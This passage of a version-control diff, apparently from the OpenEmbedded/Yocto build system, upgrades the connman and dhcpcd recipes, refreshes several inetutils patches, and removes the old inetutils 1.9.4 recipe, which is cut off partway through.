From: Khem Raj <raj.khem@gmail.com>
Date: Mon, 6 Apr 2015 23:02:21 -0700
Subject: [PATCH] resolve: musl does not implement res_ninit
@@ -15,7 +15,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 13 insertions(+), 21 deletions(-)
diff --git a/gweb/gresolv.c b/gweb/gresolv.c
-index 38a554e..a9e8740 100644
+index 954e7cf..2a9bc51 100644
--- a/gweb/gresolv.c
+++ b/gweb/gresolv.c
@@ -36,6 +36,7 @@
@@ -26,7 +26,7 @@ index 38a554e..a9e8740 100644
#include "gresolv.h"
-@@ -877,8 +878,6 @@ GResolv *g_resolv_new(int index)
+@@ -878,8 +879,6 @@ GResolv *g_resolv_new(int index)
resolv->index = index;
resolv->nameserver_list = NULL;
@@ -35,7 +35,7 @@ index 38a554e..a9e8740 100644
return resolv;
}
-@@ -918,8 +917,6 @@ void g_resolv_unref(GResolv *resolv)
+@@ -919,8 +918,6 @@ void g_resolv_unref(GResolv *resolv)
flush_nameservers(resolv);
@@ -44,7 +44,7 @@ index 38a554e..a9e8740 100644
g_free(resolv);
}
-@@ -1022,24 +1019,19 @@ guint g_resolv_lookup_hostname(GResolv *resolv, const char *hostname,
+@@ -1023,24 +1020,19 @@ guint g_resolv_lookup_hostname(GResolv *resolv, const char *hostname,
debug(resolv, "hostname %s", hostname);
if (!resolv->nameserver_list) {
diff --git a/meta/recipes-connectivity/connman/connman_1.38.bb b/meta/recipes-connectivity/connman/connman_1.38.bb
deleted file mode 100644
index 45c2934dec..0000000000
--- a/meta/recipes-connectivity/connman/connman_1.38.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-require connman.inc
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
- file://0001-plugin.h-Change-visibility-to-default-for-debug-symb.patch \
- file://0001-connman.service-stop-systemd-resolved-when-we-use-co.patch \
- file://0001-connman.service-stop-systemd-networkd-when-using-con.patch \
- file://connman \
- file://no-version-scripts.patch \
- "
-
-SRC_URI_append_libc-musl = " file://0002-resolve-musl-does-not-implement-res_ninit.patch"
-
-SRC_URI[md5sum] = "1ed8745354c7254bdfd4def54833ee94"
-SRC_URI[sha256sum] = "cb30aca97c2f79ccaed8802aa2909ac5100a3969de74c0af8a9d73b85fc4932b"
-
-RRECOMMENDS_${PN} = "connman-conf"
-RCONFLICTS_${PN} = "networkmanager"
diff --git a/meta/recipes-connectivity/connman/connman_1.40.bb b/meta/recipes-connectivity/connman/connman_1.40.bb
new file mode 100644
index 0000000000..edb23a1267
--- /dev/null
+++ b/meta/recipes-connectivity/connman/connman_1.40.bb
@@ -0,0 +1,15 @@
+require connman.inc
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
+ file://0001-plugin.h-Change-visibility-to-default-for-debug-symb.patch \
+ file://0001-connman.service-stop-systemd-resolved-when-we-use-co.patch \
+ file://connman \
+ file://no-version-scripts.patch \
+ "
+
+SRC_URI:append:libc-musl = " file://0002-resolve-musl-does-not-implement-res_ninit.patch"
+
+SRC_URI[sha256sum] = "1a57ae7ce234aa3a1744aac3be5c2121d98dce999440ef8ab9cc4edfd5edcb12"
+
+RRECOMMENDS:${PN} = "connman-conf"
+RCONFLICTS:${PN} = "networkmanager"
diff --git a/meta/recipes-connectivity/dhcpcd/dhcpcd_9.3.2.bb b/meta/recipes-connectivity/dhcpcd/dhcpcd_9.3.2.bb
deleted file mode 100644
index cca60ddae2..0000000000
--- a/meta/recipes-connectivity/dhcpcd/dhcpcd_9.3.2.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SECTION = "console/network"
-SUMMARY = "dhcpcd - a DHCP client"
-DESCRIPTION = "dhcpcd runs on your machine and silently configures your \
- computer to work on the attached networks without trouble \
- and mostly without configuration."
-
-HOMEPAGE = "http://roy.marples.name/projects/dhcpcd/"
-
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=9674cc803c5d71306941e6e8b5c002f2"
-
-UPSTREAM_CHECK_URI = "https://roy.marples.name/downloads/dhcpcd/"
-
-SRC_URI = "https://roy.marples.name/downloads/${BPN}/${BPN}-${PV}.tar.xz \
- file://0001-remove-INCLUDEDIR-to-prevent-build-issues.patch \
- file://dhcpcd.service \
- file://dhcpcd@.service \
- "
-
-SRC_URI[sha256sum] = "6d49af5e766a2515e6366e4f669663df04ecdf90a1a60ddb1d7a2feb4b5d2566"
-
-inherit pkgconfig autotools-brokensep systemd useradd
-
-SYSTEMD_SERVICE_${PN} = "dhcpcd.service"
-
-PACKAGECONFIG ?= "udev ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
-
-PACKAGECONFIG[udev] = "--with-udev,--without-udev,udev,udev"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
-# ntp conflicts with chrony
-PACKAGECONFIG[ntp] = "--with-hook=ntp, , ,ntp"
-PACKAGECONFIG[chrony] = "--with-hook=ntp, , ,chrony"
-PACKAGECONFIG[ypbind] = "--with-eghook=yp, , ,ypbind-mt"
-
-EXTRA_OECONF = "--enable-ipv4 \
- --dbdir=${localstatedir}/lib/${BPN} \
- --sbindir=${base_sbindir} \
- --runstatedir=/run \
- --enable-privsep \
- --privsepuser=dhcpcd \
- --with-hooks \
- --with-eghooks \
- "
-
-USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system -d ${localstatedir}/lib/${BPN} -M -s /bin/false -U dhcpcd"
-
-do_install_append () {
- # install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/dhcpcd*.service ${D}${systemd_unitdir}/system
-
- chmod 700 ${D}${localstatedir}/lib/${BPN}
- chown dhcpcd:dhcpcd ${D}${localstatedir}/lib/${BPN}
-}
-
-FILES_${PN}-dbg += "${libdir}/dhcpcd/dev/.debug"
diff --git a/meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb b/meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb
new file mode 100644
index 0000000000..4007a4bd2d
--- /dev/null
+++ b/meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb
@@ -0,0 +1,57 @@
+SECTION = "console/network"
+SUMMARY = "dhcpcd - a DHCP client"
+DESCRIPTION = "dhcpcd runs on your machine and silently configures your \
+ computer to work on the attached networks without trouble \
+ and mostly without configuration."
+
+HOMEPAGE = "http://roy.marples.name/projects/dhcpcd/"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d148485768fe85b9f1072b186a7e9b4d"
+
+UPSTREAM_CHECK_URI = "https://roy.marples.name/downloads/dhcpcd/"
+
+SRC_URI = "https://roy.marples.name/downloads/${BPN}/${BPN}-${PV}.tar.xz \
+ file://0001-remove-INCLUDEDIR-to-prevent-build-issues.patch \
+ file://dhcpcd.service \
+ file://dhcpcd@.service \
+ "
+
+SRC_URI[sha256sum] = "819357634efed1ea5cf44ec01b24d3d3f8852fec8b4249925dcc5667c54e376c"
+
+inherit pkgconfig autotools-brokensep systemd useradd
+
+SYSTEMD_SERVICE:${PN} = "dhcpcd.service"
+
+PACKAGECONFIG ?= "udev ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
+
+PACKAGECONFIG[udev] = "--with-udev,--without-udev,udev,udev"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
+# ntp conflicts with chrony
+PACKAGECONFIG[ntp] = "--with-hook=ntp, , ,ntp"
+PACKAGECONFIG[chrony] = "--with-hook=ntp, , ,chrony"
+PACKAGECONFIG[ypbind] = "--with-eghook=yp, , ,ypbind-mt"
+
+EXTRA_OECONF = "--enable-ipv4 \
+ --dbdir=${localstatedir}/lib/${BPN} \
+ --sbindir=${base_sbindir} \
+ --runstatedir=/run \
+ --enable-privsep \
+ --privsepuser=dhcpcd \
+ --with-hooks \
+ --with-eghooks \
+ "
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system -d ${localstatedir}/lib/${BPN} -M -s /bin/false -U dhcpcd"
+
+do_install:append () {
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/dhcpcd*.service ${D}${systemd_system_unitdir}
+
+ chmod 700 ${D}${localstatedir}/lib/${BPN}
+ chown dhcpcd:dhcpcd ${D}${localstatedir}/lib/${BPN}
+}
+
+FILES:${PN}-dbg += "${libdir}/dhcpcd/dev/.debug"
diff --git a/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch b/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch
deleted file mode 100644
index d4764f5867..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-Upstream-Status: Pending
-
-Subject: rcp: fix to work with large files
-
-When we copy file by rcp command, if the file > 2GB, it will fail.
-The cause is that it used incorrect data type on file size in sink() of rcp.
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/rcp.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/rcp.c b/src/rcp.c
-index 21f55b6..bafa35f 100644
---- a/src/rcp.c
-+++ b/src/rcp.c
-@@ -876,9 +876,9 @@ sink (int argc, char *argv[])
- enum
- { YES, NO, DISPLAYED } wrerr;
- BUF *bp;
-- off_t i, j;
-+ off_t i, j, size;
- int amt, count, exists, first, mask, mode, ofd, omode;
-- int setimes, size, targisdir, wrerrno;
-+ int setimes, targisdir, wrerrno;
- char ch, *cp, *np, *targ, *vect[1], buf[BUFSIZ];
- const char *why;
-
---
-1.9.1
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch b/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
index 24c134fcac..603d2baf9d 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch
@@ -1,17 +1,22 @@
-Upstream: http://www.mail-archive.com/bug-inetutils@gnu.org/msg02103.html
+From c7c27ba763c613f83c1561e56448b49315c271c5 Mon Sep 17 00:00:00 2001
+From: Jackie Huang <jackie.huang@windriver.com>
+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] Upstream:
+ http://www.mail-archive.com/bug-inetutils@gnu.org/msg02103.html
Upstream-Status: Pending
Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
+
---
ping/ping_common.h | 20 ++++++++++++++++++++
1 file changed, 20 insertions(+)
diff --git a/ping/ping_common.h b/ping/ping_common.h
-index 1dfd1b5..3bfbd12 100644
+index 65e3e60..3e84db0 100644
--- a/ping/ping_common.h
+++ b/ping/ping_common.h
-@@ -17,10 +17,14 @@
+@@ -18,10 +18,14 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see `http://www.gnu.org/licenses/'. */
@@ -26,7 +31,7 @@ index 1dfd1b5..3bfbd12 100644
#include <icmp.h>
#include <error.h>
#include <progname.h>
-@@ -62,7 +66,12 @@ struct ping_stat
+@@ -63,7 +67,12 @@ struct ping_stat
want to follow the traditional behaviour of ping. */
#define DEFAULT_PING_COUNT 0
@@ -39,9 +44,9 @@ index 1dfd1b5..3bfbd12 100644
#define PING_TIMING(s) ((s) >= sizeof (struct timeval))
#define PING_DATALEN (64 - PING_HEADER_LEN) /* default data length */
-@@ -74,13 +83,20 @@ struct ping_stat
- (t).tv_usec = ((i)%PING_PRECISION)*(1000000/PING_PRECISION) ;\
- } while (0)
+@@ -78,13 +87,20 @@ struct ping_stat
+
+ #define PING_MIN_USER_INTERVAL (200000/PING_PRECISION)
+#ifdef HAVE_IPV6
/* FIXME: Adjust IPv6 case for options and their consumption. */
@@ -60,7 +65,7 @@ index 1dfd1b5..3bfbd12 100644
typedef int (*ping_efp) (int code,
void *closure,
-@@ -89,13 +105,17 @@ typedef int (*ping_efp) (int code,
+@@ -93,13 +109,17 @@ typedef int (*ping_efp) (int code,
struct ip * ip, icmphdr_t * icmp, int datalen);
union event {
@@ -78,6 +83,3 @@ index 1dfd1b5..3bfbd12 100644
};
typedef struct ping_data PING;
---
-2.8.3
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
index 3da4e9f55a..2974bd4f94 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch
@@ -1,20 +1,21 @@
-From 552a7d64ad4a7188a9b7cd89933ae7caf7ebfe90 Mon Sep 17 00:00:00 2001
+From f7f785c21306010b2367572250b2822df5bc7728 Mon Sep 17 00:00:00 2001
From: Mike Frysinger <vapier at gentoo.org>
Date: Thu, 18 Nov 2010 16:59:14 -0500
-Subject: [PATCH gnulib] printf-parse: pull in features.h for __GLIBC__
+Subject: [PATCH] printf-parse: pull in features.h for __GLIBC__
Upstream-Status: Pending
Signed-off-by: Mike Frysinger <vapier at gentoo.org>
+
---
- lib/printf-parse.h | 3 +++
- 1 files changed, 3 insertions(+), 0 deletions(-)
+ lib/printf-parse.h | 3 +++
+ 1 file changed, 3 insertions(+)
diff --git a/lib/printf-parse.h b/lib/printf-parse.h
-index 67a4a2a..3bd6152 100644
+index e7d0f82..d7b4534 100644
--- a/lib/printf-parse.h
+++ b/lib/printf-parse.h
-@@ -25,6 +25,9 @@
+@@ -28,6 +28,9 @@
#include "printf-args.h"
@@ -24,6 +25,3 @@ index 67a4a2a..3bd6152 100644
/* Flags */
#define FLAG_GROUP 1 /* ' flag */
---
-1.7.3.2
-
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
index b13bb9229f..1ef7e21073 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch
@@ -1,8 +1,19 @@
+From 9089c6eafbf5903174dce87b68476e35db80beb9 Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] inetutils: Import version 1.9.4
+
Upstream-Status: Pending
---- inetutils-1.8/lib/wchar.in.h
-+++ inetutils-1.8/lib/wchar.in.h
-@@ -70,6 +70,9 @@
+---
+ lib/wchar.in.h | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/lib/wchar.in.h b/lib/wchar.in.h
+index cdda680..043866a 100644
+--- a/lib/wchar.in.h
++++ b/lib/wchar.in.h
+@@ -77,6 +77,9 @@
/* The include_next requires a split double-inclusion guard. */
#if @HAVE_WCHAR_H@
# @INCLUDE_NEXT@ @NEXT_WCHAR_H@
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
index 2592989a90..460ddf9830 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch
@@ -1,4 +1,10 @@
-inetutils: define PATH_PROCNET_DEV if not already defined
+From 101130f422dd5c01a1459645d7b2a5b8d19720ab Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] inetutils: define PATH_PROCNET_DEV if not already defined
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
this prevents the following compilation error :
system/linux.c:401:15: error: 'PATH_PROCNET_DEV' undeclared (first use in this function)
@@ -9,11 +15,16 @@ this patch comes from :
Upstream-Status: Inappropriate [not author]
Signed-of-by: Eric Bénard <eric@eukrea.com>
+
---
-diff -Naur inetutils-1.9.orig/ifconfig/system/linux.c inetutils-1.9/ifconfig/system/linux.c
---- inetutils-1.9.orig/ifconfig/system/linux.c 2012-01-04 16:31:36.000000000 -0500
-+++ inetutils-1.9/ifconfig/system/linux.c 2012-01-04 16:40:53.000000000 -0500
-@@ -49,6 +49,10 @@
+ ifconfig/system/linux.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/ifconfig/system/linux.c b/ifconfig/system/linux.c
+index e453b46..4268ca9 100644
+--- a/ifconfig/system/linux.c
++++ b/ifconfig/system/linux.c
+@@ -53,6 +53,10 @@
#include "../ifconfig.h"
diff --git a/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch b/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
index ff3abd86aa..2343c03cb4 100644
--- a/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
+++ b/meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch
@@ -1,15 +1,24 @@
+From cc66e842e037fba9f06761f942abe5c4856492b8 Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Wed, 6 Mar 2019 09:36:11 -0500
+Subject: [PATCH] inetutils: Import version 1.9.4
+
Only check security/pam_appl.h which is provided by package libpam when pam is
enabled.
Upstream-Status: Pending
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
---
+ configure.ac | 15 ++++++++++++++-
+ 1 file changed, 14 insertions(+), 1 deletion(-)
+
diff --git a/configure.ac b/configure.ac
-index b35e672..e78a751 100644
+index 5e16c3a..18510a8 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -195,6 +195,19 @@ fi
+@@ -182,6 +182,19 @@ AC_SUBST(LIBUTIL)
# See if we have libpam.a. Investigate PAM versus Linux-PAM.
if test "$with_pam" = yes ; then
@@ -29,12 +38,12 @@ index b35e672..e78a751 100644
AC_CHECK_LIB(dl, dlopen, LIBDL=-ldl)
AC_CHECK_LIB(pam, pam_authenticate, LIBPAM=-lpam)
if test "$ac_cv_lib_pam_pam_authenticate" = yes ; then
-@@ -587,7 +600,7 @@ AC_HEADER_DIRENT
- AC_CHECK_HEADERS([arpa/nameser.h errno.h fcntl.h features.h \
+@@ -617,7 +630,7 @@ AC_HEADER_DIRENT
+ AC_CHECK_HEADERS([arpa/nameser.h arpa/tftp.h fcntl.h features.h \
glob.h memory.h netinet/ether.h netinet/in_systm.h \
netinet/ip.h netinet/ip_icmp.h netinet/ip_var.h \
- security/pam_appl.h shadow.h \
+ shadow.h \
- stdarg.h stdlib.h string.h stropts.h sys/tty.h \
+ stropts.h sys/tty.h \
sys/utsname.h sys/ptyvar.h sys/msgbuf.h sys/filio.h \
sys/ioctl_compat.h sys/cdefs.h sys/stream.h sys/mkdev.h \
diff --git a/meta/recipes-connectivity/inetutils/inetutils/version.patch b/meta/recipes-connectivity/inetutils/inetutils/version.patch
deleted file mode 100644
index 532a0e5c08..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils/version.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-remove m4_esyscmd function
-
-Signed-off-by: Chunrong Guo <b40290@freescale.com>
---- inetutils-1.9.1/configure.ac 2012-01-06 22:05:05.000000000 +0800
-+++ inetutils-1.9.1/configure.ac 2012-11-12 14:01:11.732957019 +0800
-@@ -20,8 +20,7 @@
-
- AC_PREREQ(2.59)
-
--AC_INIT([GNU inetutils],
-- m4_esyscmd([build-aux/git-version-gen .tarball-version 's/inetutils-/v/;s/_/./g']),
-+AC_INIT([GNU inetutils],[1.9.4],
- [bug-inetutils@gnu.org])
-
- AC_CONFIG_SRCDIR([src/inetd.c])
diff --git a/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb b/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb
deleted file mode 100644
index adf6d4414e..0000000000
--- a/meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb
+++ /dev/null
@@ -1,215 +0,0 @@
-DESCRIPTION = "The GNU inetutils are a collection of common \
-networking utilities and servers including ftp, ftpd, rcp, \
-rexec, rlogin, rlogind, rsh, rshd, syslog, syslogd, talk, \
-talkd, telnet, telnetd, tftp, tftpd, and uucpd."
-HOMEPAGE = "http://www.gnu.org/software/inetutils"
-SECTION = "net"
-DEPENDS = "ncurses netbase readline virtual/crypt"
-
-LICENSE = "GPLv3"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7"
-
-SRC_URI = "${GNU_MIRROR}/inetutils/inetutils-${PV}.tar.gz \
- file://version.patch \
- file://inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch \
- file://inetutils-1.8-0003-wchar.patch \
- file://rexec.xinetd.inetutils \
- file://rlogin.xinetd.inetutils \
- file://rsh.xinetd.inetutils \
- file://telnet.xinetd.inetutils \
- file://tftpd.xinetd.inetutils \
- file://inetutils-1.9-PATH_PROCNET_DEV.patch \
- file://inetutils-only-check-pam_appl.h-when-pam-enabled.patch \
- file://0001-rcp-fix-to-work-with-large-files.patch \
- file://fix-buffer-fortify-tfpt.patch \
- file://0001-ftpd-telnetd-Fix-multiple-definitions-of-errcatch-an.patch \
-"
-
-SRC_URI[md5sum] = "04852c26c47cc8c6b825f2b74f191f52"
-SRC_URI[sha256sum] = "be8f75eff936b8e41b112462db51adf689715658a1b09e0d6b05d11ec92cc616"
-
-inherit autotools gettext update-alternatives texinfo
-
-acpaths = "-I ./m4"
-
-SRC_URI += "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '', 'file://fix-disable-ipv6.patch', d)}"
-
-PACKAGECONFIG ??= "ftp uucpd \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ipv6 ping6', '', d)} \
- "
-PACKAGECONFIG[ftp] = "--enable-ftp,--disable-ftp,readline"
-PACKAGECONFIG[uucpd] = "--enable-uucpd,--disable-uucpd,readline"
-PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6 gl_cv_socket_ipv6=no,"
-PACKAGECONFIG[ping6] = "--enable-ping6,--disable-ping6,"
-
-EXTRA_OECONF = "--with-ncurses-include-dir=${STAGING_INCDIR} \
- inetutils_cv_path_login=${base_bindir}/login \
- --with-libreadline-prefix=${STAGING_LIBDIR} \
- --enable-rpath=no \
-"
-
-# These are horrible for security, disable them
-EXTRA_OECONF_append = " --disable-rsh --disable-rshd --disable-rcp \
- --disable-rlogin --disable-rlogind --disable-rexec --disable-rexecd"
-
-do_configure_prepend () {
- export HELP2MAN='true'
- cp ${STAGING_DATADIR_NATIVE}/gettext/config.rpath ${S}/build-aux/config.rpath
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.guess ${S}
- install -m 0755 ${STAGING_DATADIR_NATIVE}/gnu-config/config.sub ${S}
- rm -f ${S}/glob/configure*
-}
-
-do_install_append () {
- install -m 0755 -d ${D}${base_sbindir}
- install -m 0755 -d ${D}${sbindir}
- install -m 0755 -d ${D}${sysconfdir}/xinetd.d
- if [ "${base_bindir}" != "${bindir}" ] ; then
- install -m 0755 -d ${D}${base_bindir}
- mv ${D}${bindir}/ping* ${D}${base_bindir}/
- mv ${D}${bindir}/hostname ${D}${base_bindir}/
- fi
- mv ${D}${bindir}/ifconfig ${D}${base_sbindir}/
- mv ${D}${libexecdir}/syslogd ${D}${base_sbindir}/
- mv ${D}${libexecdir}/tftpd ${D}${sbindir}/in.tftpd
- mv ${D}${libexecdir}/telnetd ${D}${sbindir}/in.telnetd
- if [ -e ${D}${libexecdir}/rexecd ]; then
- mv ${D}${libexecdir}/rexecd ${D}${sbindir}/in.rexecd
- cp ${WORKDIR}/rexec.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rexec
- fi
- if [ -e ${D}${libexecdir}/rlogind ]; then
- mv ${D}${libexecdir}/rlogind ${D}${sbindir}/in.rlogind
- cp ${WORKDIR}/rlogin.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rlogin
- fi
- if [ -e ${D}${libexecdir}/rshd ]; then
- mv ${D}${libexecdir}/rshd ${D}${sbindir}/in.rshd
- cp ${WORKDIR}/rsh.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/rsh
- fi
- if [ -e ${D}${libexecdir}/talkd ]; then
- mv ${D}${libexecdir}/talkd ${D}${sbindir}/in.talkd
- fi
- mv ${D}${libexecdir}/uucpd ${D}${sbindir}/in.uucpd
- mv ${D}${libexecdir}/* ${D}${bindir}/
- cp ${WORKDIR}/telnet.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/telnet
- cp ${WORKDIR}/tftpd.xinetd.inetutils ${D}/${sysconfdir}/xinetd.d/tftpd
-
- sed -e 's,@SBINDIR@,${sbindir},g' -i ${D}/${sysconfdir}/xinetd.d/*
- if [ -e ${D}${libdir}/charset.alias ]; then
- rm -rf ${D}${libdir}/charset.alias
- fi
- rm -rf ${D}${libexecdir}/
- # remove usr/lib if empty
- rmdir ${D}${libdir} || true
-}
-
-PACKAGES =+ "${PN}-ping ${PN}-ping6 ${PN}-hostname ${PN}-ifconfig \
-${PN}-tftp ${PN}-logger ${PN}-traceroute ${PN}-syslogd \
-${PN}-ftp ${PN}-ftpd ${PN}-tftpd ${PN}-telnet ${PN}-telnetd ${PN}-inetd \
-${PN}-rsh ${PN}-rshd"
-
-# The packages tftpd, telnetd and rshd conflict with the ones
-# provided by netkit, so add the corresponding -dbg packages
-# for them to avoid the confliction between the dbg package
-# of inetutils and netkit.
-PACKAGES =+ "${PN}-tftpd-dbg ${PN}-telnetd-dbg ${PN}-rshd-dbg"
-NOAUTOPACKAGEDEBUG = "1"
-
-ALTERNATIVE_PRIORITY = "79"
-ALTERNATIVE_${PN} = "whois"
-ALTERNATIVE_LINK_NAME[uucpd] = "${sbindir}/in.uucpd"
-
-ALTERNATIVE_PRIORITY_${PN}-logger = "60"
-ALTERNATIVE_${PN}-logger = "logger"
-ALTERNATIVE_${PN}-syslogd = "syslogd"
-ALTERNATIVE_LINK_NAME[syslogd] = "${base_sbindir}/syslogd"
-
-ALTERNATIVE_${PN}-ftp = "ftp"
-ALTERNATIVE_${PN}-ftpd = "ftpd"
-ALTERNATIVE_${PN}-tftp = "tftp"
-ALTERNATIVE_${PN}-tftpd = "tftpd"
-ALTERNATIVE_LINK_NAME[tftpd] = "${sbindir}/tftpd"
-ALTERNATIVE_TARGET[tftpd] = "${sbindir}/in.tftpd"
-
-ALTERNATIVE_${PN}-telnet = "telnet"
-ALTERNATIVE_${PN}-telnetd = "telnetd"
-ALTERNATIVE_LINK_NAME[telnetd] = "${sbindir}/telnetd"
-ALTERNATIVE_TARGET[telnetd] = "${sbindir}/in.telnetd"
-
-ALTERNATIVE_${PN}-inetd= "inetd"
-ALTERNATIVE_${PN}-traceroute = "traceroute"
-
-ALTERNATIVE_${PN}-hostname = "hostname"
-ALTERNATIVE_LINK_NAME[hostname] = "${base_bindir}/hostname"
-
-ALTERNATIVE_${PN}-doc = "hostname.1 dnsdomainname.1 logger.1 syslogd.8 \
- tftpd.8 tftp.1 telnetd.8"
-ALTERNATIVE_LINK_NAME[hostname.1] = "${mandir}/man1/hostname.1"
-ALTERNATIVE_LINK_NAME[dnsdomainname.1] = "${mandir}/man1/dnsdomainname.1"
-ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
-ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
-ALTERNATIVE_LINK_NAME[telnetd.8] = "${mandir}/man8/telnetd.8"
-ALTERNATIVE_LINK_NAME[tftpd.8] = "${mandir}/man8/tftpd.8"
-ALTERNATIVE_LINK_NAME[tftp.1] = "${mandir}/man1/tftp.1"
-
-ALTERNATIVE_${PN}-ifconfig = "ifconfig"
-ALTERNATIVE_LINK_NAME[ifconfig] = "${base_sbindir}/ifconfig"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-ALTERNATIVE_${PN}-ping6 = "${@bb.utils.filter('PACKAGECONFIG', 'ping6', d)}"
-ALTERNATIVE_LINK_NAME[ping6] = "${base_bindir}/ping6"
-
-
-FILES_${PN}-dbg += "${base_bindir}/.debug ${base_sbindir}/.debug ${bindir}/.debug ${sbindir}/.debug"
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-ping6 = "${base_bindir}/ping6.${BPN}"
-FILES_${PN}-hostname = "${base_bindir}/hostname.${BPN}"
-FILES_${PN}-ifconfig = "${base_sbindir}/ifconfig.${BPN}"
-FILES_${PN}-traceroute = "${bindir}/traceroute.${BPN}"
-FILES_${PN}-logger = "${bindir}/logger.${BPN}"
-
-FILES_${PN}-syslogd = "${base_sbindir}/syslogd.${BPN}"
-RCONFLICTS_${PN}-syslogd = "rsyslog busybox-syslog sysklogd syslog-ng"
-
-FILES_${PN}-ftp = "${bindir}/ftp.${BPN}"
-
